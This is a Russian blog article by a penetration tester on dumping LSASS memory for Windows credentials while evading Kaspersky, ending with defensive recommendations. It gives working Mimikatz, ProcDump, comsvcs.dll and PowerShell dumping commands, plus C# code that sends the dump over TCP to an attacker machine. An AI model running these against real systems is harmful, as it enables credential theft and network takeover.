Дампы LSASS для всех, даром, и пусть никто не уйдет обиженный

b64a70586c7f6473b7094b3fbb1b06d3.jpg

Здравствуйте, хабролюди!

Меня зовут @snovvcrash, и я работаю в отделе анализа защищенности компании Angara Security. Отвечаю я, значится, за инфраструктурный пентест, и в этой статье я хотел бы поговорить об одном из самых эффективных методов добычи учетных данных на «внутряке» — извлечении секретов из памяти процесса lsass.exe (MITRE ATT&CK T1003.001) — и, в частности, об особенностях реализации этого метода в ру-сегменте тестирования на проникновение.

За два года работы пентестером мои нервы были изрядно потрепаны нашим любимым отечественным антивирусным решением Kaspersky Endpoint Security (далее — KES), который установлен у каждого первого второго нашего клиента, и который, в отличие от других средств антивирусной защиты, наглухо блокирует все попытки потенциального злоумышленника получить доступ к lsass.exe (не реклама!).

Далее я расскажу свой опыт использования и кастомизации публично доступных инструментов, которые в разные промежутки времени позволяли мне сдампить память LSASS при активном «Касперском». Погнали!

Краткий ликбез

Если не сильно углубляться в теорию, то Local Security Authority Subsystem Service (он же LSASS) — это процесс (исполняемый файл C:\Windows\System32\lsass.exe), ответственный за управление разными подсистемами аутентификации ОС Windows. Среди его задач: проверка «кред» локальных и доменных аккаунтов в ходе различных сценариев запроса доступа к системе, генерация токенов безопасности для активных сессий пользователей, работа с провайдерами поддержки безопасности (Security Support Provider, SSP) и др.

Для нас, как для этичных хакеров, ключевым значением обладает тот факт, что в домене Active Directory правит концепция единого входа Single Sign-On (SSO), благодаря которой процесс lsass.exe хранит в себе разные материалы аутентфикации залогиненных пользователей, например, NT-хеши и билеты Kerberos, чтобы «пользаку» не приходилось печатать свой паролЪ в вылезающем на экране окошке каждые 5 минут. В «лучшие» времена из LSASS можно было потащить пароли в открытом виде в силу активности протокола WDigest (HTTP дайджест-аутентификация), но начиная с версии ОС Windows Server 2008 R2 вендор решил не включать этот механизм по умолчанию.

Несмотря на то, что в 2к22 при успешном дампе LSASS злоумышленнику чаще всего остается довольствоваться NT-хешами и билетами Kerberos, это все равно с большой вероятностью позволит ему повысить свои привилегии в доменной среде AD за короткий промежуток времени. Реализуя схемы Pass-the-Hash, Overpass-the-Hash и Pass-the-Ticket, злоумышленник может быстро распространиться по сети горизонтально, собирая по пути все больше хешей и «тикетов», что в конечном итоге дарует ему «ключи от Королевства» в виде данных аутентификации администратора домена.

Экскурс в историю дампов LSASS

Рассмотрим первопроходцев в ремесле извлечения данных аутентификации из памяти LSASS.

Mimikatz

Было бы преступлением не начать повествование с такого мастодонта в области потрошения подсистем аутентификации Windows как Mimikatz, которым хоть раз пользовался любой пентестер.

Модуль sekurlsa::logonpasswords позволяет «налету» парсить память lsass.exe с целью поиска секретиков без сохранения соответствующего дампа на диск. Этот инструмент поистине произвел революцию в наступательных операциях и положил начало многим другим исследованием в области извлечения чувствительной информации с хостов под управлением Windows.

Cmd

C:\>mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # log out.txt
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

C:\>mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"

Использование Mimikatz (logonpasswords)Использование Mimikatz (logonpasswords)

К сожалению для пентестеров, вендоры AV / EDR быстро «просекли фишку» и стали относиться к «Мимику» как к самому опасному ПО, созданному за всю историю человечества, поэтому на сегодняшний момент он пригоден лишь как пособие для изучения реализованных в нем техник — для их переосмысления и переизобретения в собственных инструментах.

На заметку: официальная вики Mimikatz покрывает далеко не все его возможности, поэтому энтузиасты InfoSec-комьюнити создали вот такой замечательный ресурс, которым я рекомендую пользоваться в случае возникновения вопросов, что делает та или иная команда этого замечательного инструмента.

ProcDump

Другим фаворитом внутренних пентестов долгое время был метод создания снимка памяти LSASS с помощью служебной программы ProcDump из состава Windows Sysinternals. Этот инструмент позволяет создавать дампы процессов с целью их дальнейшего анализа, и процесс lsass.exe тому не исключение (если права позволяют, разумеется, хе-хе).

Cmd

C:\>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

Создание слепка памяти процесса lsass.exeСоздание слепка памяти процесса lsass.exe

Теперь можно притащить слепленный дамп к себе на тачку и распарсить его с помощью того же Mimikatz.

Cmd

C:\>mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

C:\>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

Парсим lsass.dmp с помощью MimikatzПарсим lsass.dmp с помощью Mimikatz

Или его аналога для Linux — Pypykatz.

Cmd

~$ pypykatz lsa minidump lsass.dmp

Парсим lsass.dmp с помощью PypykatzПарсим lsass.dmp с помощью Pypykatz

Прелесть этого метода заключается в том, что все необходимые операции по созданию слепка памяти выполняет ProcDump, подписанный Microsoft, и этичному взломщику не требуется тащить на хост никакой малвари. Однако разработчики корпоративных антивирусных решений тоже долго не стояли в стороне и оперативно прикрыли возможность делать дампы LSASS с помощью ProcDump, включив его в разряд PDM:HackTool.Win32.CreDump.rbaa.

«Касперский» не доволен активностью ProcDump«Касперский» не доволен активностью ProcDump

comsvcs.dll

Безусловно, интересной находкой стало обнаружение экспорта функции MiniDumpW в системной библиотеке C:\Windows\System32\comsvcs.dll, которая дергает вызов Win32 API MiniDumpWriteDump и позволяет делать слепки процессов в рамках концепции Living Off The Land Binaries And Scripts (LOLBAS), когда злоумышленнику не нужно приносить ничего лишнего на атакуемую машину.

Анализ библиотеки comsvcs.dll с помощью PE-bearАнализ библиотеки comsvcs.dll с помощью PE-bear

Эта библиотека легла в основу первых версий замечательной утилиты lsassy, позволяющей делать слепки LSASS и удаленно читать необходимые области памяти созданного дампа, а не перенаправлять его целиком на машину атакующего (подробнее о принципе работы можно почитать в блоге автора утилиты).

Если взглянуть на код, можно найти суперские «однострочники» для Cmd и PowerShell, которые автоматически позволяют получить идентификатор процесса lsass.exe и сдампить его память по заданному пути.

C:\>for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B C:\lsass.dmp full
PS C:\> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\lsass.dmp full

Примечание: лучше пользоваться PowerShell-версией команды, так как для оболочки PowerShell в отличии от Cmd по дефолту включена привилегия SeDebugPrivilege для привилегированной сессии шелла, которая понадобится для доступа к памяти lsass.exe.

Дампим LSASS с помощью LOLBAS-техники comsvcs.dllДампим LSASS с помощью LOLBAS-техники comsvcs.dll

Стоит ли говорить, что создание дампа по такой простой технике, разумеется, будет предотвращено хотя бы мало-мальски неравнодушным антивирусом?

Out-Minidump.ps1

Еще один древний как мир способ — позаимствовать импорт P/Invoke функции MiniDumpWriteDump из класса NativeMethods сборки System.Management.Automation.WindowsErrorReporting, как это делается в скрипте Out-Minidump.ps1 из арсенала PowerSploit.

MiniDumpWriteDump

$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWriteDump

Анализ сборки System.Management.Automation.WindowsErrorReporting с помощью dnSpyАнализ сборки System.Management.Automation.WindowsErrorReporting с помощью dnSpy

Результат работы скрипта аналогичен вызову функции MiniDump из предыдущего метода, поэтому оставлю это в качестве упражнения для читателя. Ну и, соответственно, антивирусы так же негативно к нему относятся.

Дампим LSASS по OPSEC-овски

Итак, перейдем к самому интересному: как же можно «угодить» антивирусным средствам защиты и сделать дамп памяти процесса lsass.exe в стиле Operational Security?

Запреты AV на создание слепков памяти LSASS условно можно разделить на 3 части:

  1. Запрет на получение дескриптора процесса lsass.exe.

  2. Запрет на чтение виртуальной памяти процесса lsass.exe.

  3. Запрет на сохранение результирующего дампа на диск.

Ниже мы рассмотрим 3 проекта, каждый из которых в свое время помогал мне извлечь чувствительную информацию из памяти сетевых узлов при активном средстве KES на внутренних пентестах или операциях Red Team.

MirrorDump

Первым обнаруженным мною проектом, который на удивление мог обходить защиту KES, был MirrorDump от исследователя @_EthicalChaos_.

Его ключевые особенности:

  • Написан на C#, что позволяет запускать его из памяти сессии C2 или с помощью механизма .NET Reflection.Assembly.

  • Применяет магию Boo.Lang и плагина DllExport для генерации «на лету» псевдопровайдера аутентификации LSA SSP и его загрузки в память LSASS для получения дескриптора процесса lsass.exe вместо использования API NtOpenProcess.

  • Использует проекты MiniHook и SharpDisasm для установки userland-хуков на вызовы внутренних API MiniDumpWriteDump для перенаправления потока байт результирующего слепка памяти lsass.exe в память исполняющего процесса. Таким образом у оператора появляется возможность отправить дамп памяти по сети и не сохранять его на диск скомпрометированного хоста.

В минусы этого способа безусловно входит то, что библиотека DLL псевдопровайдера аутентификации LSA должна быть сохранена на диск скомпрометированного хоста для возможности ее использования в API SpLsaModeInitialize, и которая, ко всему прочему, не может быть удалена после создания дампа без перезагрузки ПК.

Данный проект существует как Proof-of-Concept, который «из коробки» в конечном итоге все равно сохраняет дамп памяти на диск даже с учетом того, что генерация такого дампа проходит столь необычным образом. Поэтому я решил сделать свой форк, добавив две новые фичи:

  1. Парсинг слепка прямо в памяти с помощью библиотеки MiniDump (работает не на всех версиях ОС Windows).

  2. Возможность сжатия и отправки байт слепка памяти по TCP-каналу на машину атакующего, где парсинг может быть произведен силами сторонних инструментов (Mimikatz / Pypykatz).

Для первой фичи был добавлен флаг --parse, при наличии которого байты слепка передаются на EntryPoint MiniDump.

Cmd

C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --parse

Бесфайловый дамп LSASS с парсингом слепка в памятиБесфайловый дамп LSASS с парсингом слепка в памяти

Для второй фичи был написан вспомогательный скрипт на Python, содержащий тривиальный сокет-сервер, ожидающий «зиппованный» дамп. Скрипт также автоматически распакует прилетевший дамп, по желанию проверит контрольную сумму и распрасит его с помощью Pypykatz.

Cmd

~$ python3 MirrorDump.py 0.0.0.0 1337 --md5 --parse
C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --host 192.168.0.184 --port 1337

Бесфайловый дамп LSASS с отправкой слепка по TCPБесфайловый дамп LSASS с отправкой слепка по TCP

Отправка запакованного дампа также легко реализуется на нативном C# через метод SendZip.

static void SendZip(string host, int port, DumpContext dc)
{
    using (var outStream = new MemoryStream())
    {
        using (var archive = new ZipArchive(outStream, ZipArchiveMode.Create, true))
        {
            var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.bin");
            using (var entryStream = lsassDump.Open())
                using (var dumpCompressStream = new MemoryStream(dc.Data))
                    dumpCompressStream.CopyTo(entryStream);
        }

        byte[] compressedBytes = outStream.ToArray();

        Console.WriteLine($"[+] Minidump successfully packed in memory, size {Math.Round(compressedBytes.Length / 1024.0 / 1024.0, 2)} MB");

        byte[] zipHashBytes = MD5.Create().ComputeHash(compressedBytes);
        string zipHash = BitConverter.ToString(zipHashBytes).Replace("-", "");

        Console.WriteLine($"[*] MD5: {zipHash}");

        using (var tcpClient = new TcpClient(host, port))
        {
            using (var netStream = tcpClient.GetStream())
            {
                string hostName = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
                string zipSize = (compressedBytes.Length).ToString();
                byte[] stage = Encoding.ASCII.GetBytes($"{hostName}|{zipSize}");
                netStream.Write(stage, 0, stage.Length);
                netStream.Write(compressedBytes, 0, compressedBytes.Length);
            }
        }
    }
}

Также метод создания слепков lsass.exe с помощью MirrorDump был добавлен мной для использования вместе с lsassy.

К сожалению, недолго музыка играла и примерно полгода спустя «Касперский» начал блокировать создание дампов LSASS через данную технику на уровне поведенческого анализа, что заставило нас искать другой «непалящийся» способ извлечения кред на внутряках.

NanoDump

Нашим следующим «спасителем» стал инструмент NanoDump от компании-разработчика Cobalt Strike, который я без преувеличений считаю просто произведением искусства.

Его ключевые особенности:

  • Использование системных вызовов (с их динамическим резолвом) с помощью SysWhispers2, что позволяет обходить userland-хуки Win32 API, которые вешает антивирусное ПО.

  • Собственная реализация MiniDumpWriteDump через чтение памяти lsass.exe с помощью ZwReadVirtualMemory, что избавляет оператора от необходимости дергать потенциально подозрительную ручку API.

  • Поддержка разных трюков и техник создания дампа (перечислены не все):

    • поиск уже открытых дескрипторов lsass.exe в других процессах [ссылка],

    • использование утекающего хэндла lsass.exe при вызове функции CreateProcessWithLogonW [ссылка],

    • загрузка NanoDump в виртуальную память lsass.exe в виде провайдера SSP [ссылка],

    • возможность снятия защиты PPL [ссылка].

  • Намеренное повреждение сигнатуры дампа памяти с целью избегания детекта от AV на этапе его записи на диск.

  • Компиляция в Beacon Object File (BOF) для выполнения NanoDump из памяти в случае, когда моделируемый злоумышленник обладает сессией «Кобальта» на скомпрометированном сетевом узле.

Для нас, как для пентестеров компаний преимущественно из ру-сегмента, наибольший интерес представляет техника загрузки NanoDump, скомпилированного в виде DLL, прямо в LSASS как SSP, то есть в виде псевдопровайдера аутентификации LSA. Исходя из нашего опыта, на данный момент это и есть слабое место «Касперского».

Для того, чтобы воспользоваться этой техникой без сессии Cobalt Strike, моделируемый злоумышленник должен принести на скомпрометированный узел 2 бинаря: загрузчик библиотеки SSP и, собственно, саму библиотеку SSP. Полагаю, что в скором времени оба они начнут детектиться по крайней мере на уровне сигнатурного анализа, поэтому воспользовавшись примером из этого ресерча от @ShitSecure мы напилили свой загрузчик NanoDump SSP из памяти с помощью кредла на PowerShell.

Дампим LSASS с помощью NanoDump SSP и восстанавливаем поврежденную сигнатуруДампим LSASS с помощью NanoDump SSP и восстанавливаем поврежденную сигнатуру

Намеренно не раскрываю исходник кредла (тем более, что в приведенной выше статье все есть), ибо надеюсь, что этот метод проживет хотя бы еще немного. Ну, а в общем, смиренно ждем, когда и эта техника начнет «палиться» KES, чтобы начать искать новые ухищрения для дампа памяти LSASS…

Physmem2profit

Последним творением, которое мы сегодня рассмотрим, будет проект Physmem2profit от F-Secure LABS. Его подход к дампу LSASS отличается от остальных тем, что вместо того, чтобы сосредотачиваться на методах уклонения от хуков AV / EDR в userland, он использует драйвер WinPmem (часть форензик-проекта rekall) для получения доступа ко всей физической памяти целевого узла и ищет там область, соответствующую памяти процесса lsass.exe, через монтирование виртуальной ФС FUSE.

Покажем в действии, как заставить это чудо работать:

  1. Для начала клонируем репозиторий проекта, рекурсивно разрешая зависимости в виде git-подмодулей.

  2. Далее исправим версии библиотек acora и pycryptodome в зависимостях rekall-core, чтобы они дружили с актуальным Python 3.

  3. Теперь можно запустить инсталлер, который накатит питонячую виртуальную среду и поставит все, что ему нужно.

Cmd

git clone --recursive https://github.com/FSecureLABS/physmem2profit
cd physmem2profit/client
sed -i 's/acora==2.1/acora/g' rekall/rekall-core/setup.py
sed -i 's/pycryptodome==3.4.7/pycryptodome/g' rekall/rekall-core/setup.py
bash install.sh
source .env/bin/activate

Установка Physmem2profitУстановка Physmem2profit

Следуя рекомендациям из этого issue, я скачал крайний релиз WinPmem (нам понадобится только файл kernel/binaries/winpmem_x64.sys) и обновил эти константы для изменившегося интерфейса взаимодействия с драйвером. Внесенные изменения можно посмотреть в моем форке проекта.

Также среди внесенных изменений — захардкоженный файл драйвера, который автоматически кладется в файловую систему «жертвы» перед установкой соответствующей службы и стирается после ее остановки и удаления:

static byte[] Decompress(byte[] data)
{
    MemoryStream input = new MemoryStream(data);
    MemoryStream output = new MemoryStream();
    using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress))
        dStream.CopyTo(output);

    return output.ToArray();
}

// ...

Program.Log("Installing service...");
var sysCompressed = Convert.FromBase64String("");
var sysRawBytes = Decompress(sysCompressed);
File.WriteAllBytes(pathToDriver, sysRawBytes);
OpenOrCreate(pathToDriver);
Program.Log("Service created successfully.", Program.LogMessageSeverity.Success);

// ...

CloseHandle(_hDevice);
Stop();
Delete();
File.Delete(Globals.pathToDriver);
Program.Log("Successfully unloaded the WinPMem driver.", Program.LogMessageSeverity.Success);

Смотрим, как всем этим пользоваться:

# Server-side
PS > .\Physmem2profit.exe --ip  --port  [--verbose] [--hidden]

# Client-side
~$ python3 physmem2profit --host  --port  --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem

Чтобы не упускать преимуществ C#, на котором написана серверная часть, продемонстрируем возможность загрузки и выполнения сборки из памяти.

Дампим LSASS с помощью Physmem2profitДампим LSASS с помощью Physmem2profit

Вуаля, хеши из LSASS получены!

Противодействие

Вместо заключения приведу несколько рекомендаций, которые помогут свести к минимуму возможности для потенциального злоумышленника сдампить LSASS или извлечь из сделанного слепка значительную выгоду:

  • Свести к минимуму доступ к любым сетевым узлам в домене с учетными данными пользователей, входящих в привилегированные доменные группы (Domain Admins, Enterprise Admins, Administrators и др.), а для администрирования серверов и рабочих станций использовать выделенные для данных целей УЗ с минимально необходимым набором привилегий (смотрим концепцию Tiered Access Model).

  • Настроить механизм безопасности Remote Credential Guard для предотвращения сохранения аутентификационных данных пользователей при подключении к удаленным сетевым узлам по протоколу RDP для привилегированных УЗ.

  • Использовать механизм Protected Process (PPL) для предотвращения потенциальной возможности доступа к памяти процесса lsass.exe.

  • Использовать группу безопасности Windows «Защищенные пользователи» (Protected Users Security Group) и добавить в нее УЗ критически важных пользователей, например, администраторов домена (эта фича требует тестирования перед внедрением в прод, поэтому аккуратнее).

  • Следовать рекомендациям производителя ОС для снижения риска проведения атак типа Pass-the-Hash.

Ну, а пока извечная игра в кошки-мышки между пентестерами и вендорами антивирусного ПО продолжается, Happy hacking!

© Habrahabr.ru